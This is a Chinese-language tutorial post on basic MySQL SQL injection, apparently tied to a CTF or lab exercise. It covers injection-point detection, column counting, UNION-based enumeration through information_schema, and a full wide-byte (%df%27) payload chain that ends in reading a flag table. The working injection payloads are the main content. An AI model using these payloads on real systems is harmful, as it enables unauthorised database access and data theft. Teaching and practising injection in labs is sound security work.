sql注入基本思路

确定注入点

根据sql查询语句中数据类型的语法分为三类:

  • 数字型: SELECT 列 FROM 表 WHERE 数字型列=值
 **判断方法**: 
- and 1=1和and 1=2   
- ?id=1和id=2-1 
  • 字符型: SELECT 列 FROM 表 WHERE 字符型列=’值’
 **判断方法**: 
- ' and '1'='1和'and '1'='2
- ' or 1=1 %23
  • 搜索型: SELECT * FROM 表 WHERE where 被搜索的列 like ‘%值%’
 **判断方法**: 
- %' and '%1%'='%1和%'and '%1%'='%2
- ?id=1' or 1=2%23  #页面回显ID=1的数据',说明前面不可能带有%号通配符,如果有,不可能返回是ID=1的数据。可判断不是搜索型

关键:注释或闭合语句,and或or验证。闭合要注意括号、双引号、百分号等。

查询字段数目

注意#符号在GET请求中必须经过URL编码变为%23,原因是URL通用格式为scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]
"#"符号规定在整个URL中起锚点作用,也是在URL中属于最后一位。如果你直接在GET请求中输入#,会被认为是一个锚点。而不是自己想要传递的参数。

用order by来判断字段数。

联合查询

内联式注入和终止式注入。union查询的列数和类型要相同。
MySQL常用的系统函数:

version()            #MySQL版本
user()               #数据库用户名
database()           #数据库名
@@datadir            #数据库路径
@@version_compile_os #操作系统版本

注意:-- 注释符在GET请求中必须在后面加一些字符,加号或是空格。

查询数据库

  • 查询所有数据库:group_concat函数可以把查询的结果并到一列中并默认隔开。

    id=1' and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+

  • 查询数据库:单引号数据库、hex编码数据库。

- id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
- hex编码后在前面加上0x表明这里是16进制编码

查询列名和字段名

在MYSQL5.0之后,MYSQL中存在一张很重要的表叫information_schema。

9.jpeg

完整的注入流程

> ?id=-1%df%27 union select 1,2--+
> 查看数据库名:?id=-1%df%27 union select 1,database()%23
> 查看列名:?id=-1%df%27 union select 1,table_name from information_schema.tables where table_schema=0x73716C35--+
> 查看字段名:?id=-1%df%27 union select 1,column_name from information_schema.columns where table_name=0x6B6579--+
> 查看flag:?id=-1%df%27 union select 1,string from sql5.key--+
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容